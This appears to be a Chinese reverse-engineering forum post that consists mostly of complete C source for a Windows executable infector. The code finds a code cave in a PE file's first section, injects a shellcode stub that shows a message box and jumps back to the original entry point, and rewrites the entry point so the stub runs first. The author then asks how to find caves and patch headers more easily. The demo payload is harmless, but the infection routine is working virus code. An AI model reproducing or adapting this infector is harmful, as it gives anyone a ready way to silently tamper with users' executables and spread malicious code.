最近写了个感染exe文件的代码:如下:
#include "windows.h"
#include "stdio.h"
int main()
{
BYTE msg[37]={
0X6A,0X00, //push MB_OK
0XE8,0X06,0X00,0X00,0X00, //call fun1
0X74,0X65,0X73,0X74,0X00,0X00, //"test"
0XE8,0X07,0X00,0X00,0X00, //call fun2
0X68,0X65,0X6C,0X6C,0X6F,0X00,0X00, //"hello"
0X6A,0X00, //push NULL
0XE8, //call
0X00,0X00,0X00,0X00, //address of MessageBox
0XE9, //jmp
0X00,0X00,0X00,0X00, //entery pointer of exefile
};
HANDLE hFile;
HANDLE hMap ;
LPVOID pBase ;
DWORD dwGapSize ;
DWORD dwOldEntery;
DWORD OffsetGap;
DWORD OffsetOfEntryPoint;
PIMAGE_DOS_HEADER pDosHeader ;
PIMAGE_NT_HEADERS pNtHeaders ;
IMAGE_OPTIONAL_HEADER OptionalHeader;
PIMAGE_SECTION_HEADER pFirstSectionHeader;
char szHostFile[255]="1.exe";
hFile = CreateFile(szHostFile,
GENERIC_ALL,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL) ;
if (hFile==INVALID_HANDLE_VALUE)
{
return -1 ;
}
hMap = CreateFileMapping(hFile,
NULL,
PAGE_READWRITE,
0,
0,
NULL) ;
if (!hMap)
return -1 ;
pBase = MapViewOfFile(hMap,
FILE_MAP_ALL_ACCESS,
0,
0,
0) ;
if (!pBase)
return -1 ;
pDosHeader = (PIMAGE_DOS_HEADER)pBase;
pNtHeaders=(PIMAGE_NT_HEADERS)((DWORD)pDosHeader+(pDosHeader->e_lfanew));
OptionalHeader=(IMAGE_OPTIONAL_HEADER)(pNtHeaders->OptionalHeader);
pFirstSectionHeader=IMAGE_FIRST_SECTION(pNtHeaders); //get first section
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////Get Gap address and size
////////////////////////////////////////////////////////////////////////////////////////////////////////////////
DWORD high;
int i;
char *buffer;
DWORD num2;
DWORD filezise;
filezise=GetFileSize(hFile,&high);
buffer=new char[filezise];
::ReadFile(hFile,buffer,filezise,&num2,NULL); //read file into buffer
for(i=pFirstSectionHeader->PointerToRawData+pFirstSectionHeader->SizeOfRawData;\
i>=(int)(pFirstSectionHeader->PointerToRawData);i--)
{
if(((buffer[i-1])&0xff)!=0x00) break; //scan firstsection gap
}
OffsetGap=i+8; //add 8 to make it safer
dwGapSize=(DWORD)(pFirstSectionHeader->PointerToRawData+pFirstSectionHeader->SizeOfRawData)-OffsetGap;
if(dwGapSize<sizeof(msg))
{
printf("Have enough Cave!!!\n");
return 0;
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
dwOldEntery=OptionalHeader.AddressOfEntryPoint;
//offset of OptionalHeader.AddressOfEntryPoint in raw file
OffsetOfEntryPoint=(pDosHeader->e_lfanew)+sizeof(DWORD)+sizeof(IMAGE_FILE_HEADER)+16;
//printf("%x--%x\n",dwOldEntery,OffsetGap);
DWORD JmpAddress;
JmpAddress=dwOldEntery-OffsetGap-37; //jmp original entery
int x=24;
for(i=36;i>32;i--)
{
msg[i]=((unsigned int)JmpAddress>>x)&0xff;
x=x-8;
}
//printf("%x--%x--%x\n",dwOldEntery,OffsetOfEntryPoint,JmpAddress);
/*for(i=33;i<37;i++)
{
printf("%x ",msg[i]);
}
printf("\n");*/
FARPROC AddressOfMsg;
if((AddressOfMsg=::GetProcAddress(
::LoadLibrary("user32.dll"),
"MessageBoxA"))==NULL)
printf("Get MsgBox address faile!!\n");
//printf("%x--%x\n",(DWORD)::LoadLibrary("user32.dll"),AddressOfMsg);
DWORD CallAddress;
CallAddress=(DWORD)AddressOfMsg-(OptionalHeader.ImageBase+OffsetGap+32);
//printf("%x-%x-%x\n",OptionalHeader.ImageBase,OffsetGap,CallAddress);
x=24;
for(i=31;i>27;i--)
{
msg[i]=((unsigned int)CallAddress>>x)&0xff;
x=x-8;
}
/*for(i=28;i<32;i++)
{
printf("%x ",msg[i]);
}
printf("\n");*/
BYTE NewEntry[8]={0X00,0X00,0X00,0X00,};
for(i=3;i>=0;i--)
{
NewEntry[i]=((unsigned int)OffsetGap>>x)&0xff;
x=x-8;
}
/* for(i=0;i<4;i++)
{
printf("%0x ",NewEntry[i]);
}
printf("\n");*/
UnmapViewOfFile(pBase) ;
CloseHandle(hMap) ;
///////////////////////////////////////////////////////////////////////////////
///infection file
/////////////////////////////////////////////////////////////////////////////
if(!::SetFilePointer(hFile,OffsetGap,NULL,FILE_BEGIN))
printf("SetFilePointer msg Faile!!");
DWORD BeWritten;
if(!::WriteFile(hFile,msg,37,&BeWritten,NULL)) //write virus code
printf("WriteFile msg Faile!!!");
if(!::SetFilePointer(hFile,OffsetOfEntryPoint,NULL,FILE_BEGIN))
printf("SetFilePointer NewEntry Faile!!");
if(!::WriteFile(hFile,NewEntry,4,&BeWritten,NULL)) //write new entery code
printf("WriteFile NewEntry Faile!!!");
CloseHandle(hFile) ;
return 0;
}
成功感染加载了user.dll的exe文件,但有几点疑问;
1:为什么很多人查找空洞的时候都用pFirstSectionHeader->SizeOfRawData-- pImageSectionHeader->Misc.VirtualSize ,但是实际上经过我的实验,它的效果并不是很好,因此我用了扫描节末尾来查找空洞??
2:用什么方法可以不用定位到磁盘文件中需要修改的数据偏移出,而直接给pe中需要修改的属性赋值,然后整体写入磁盘文件??
请高手指点???
[课程]Linux pwn 探索篇!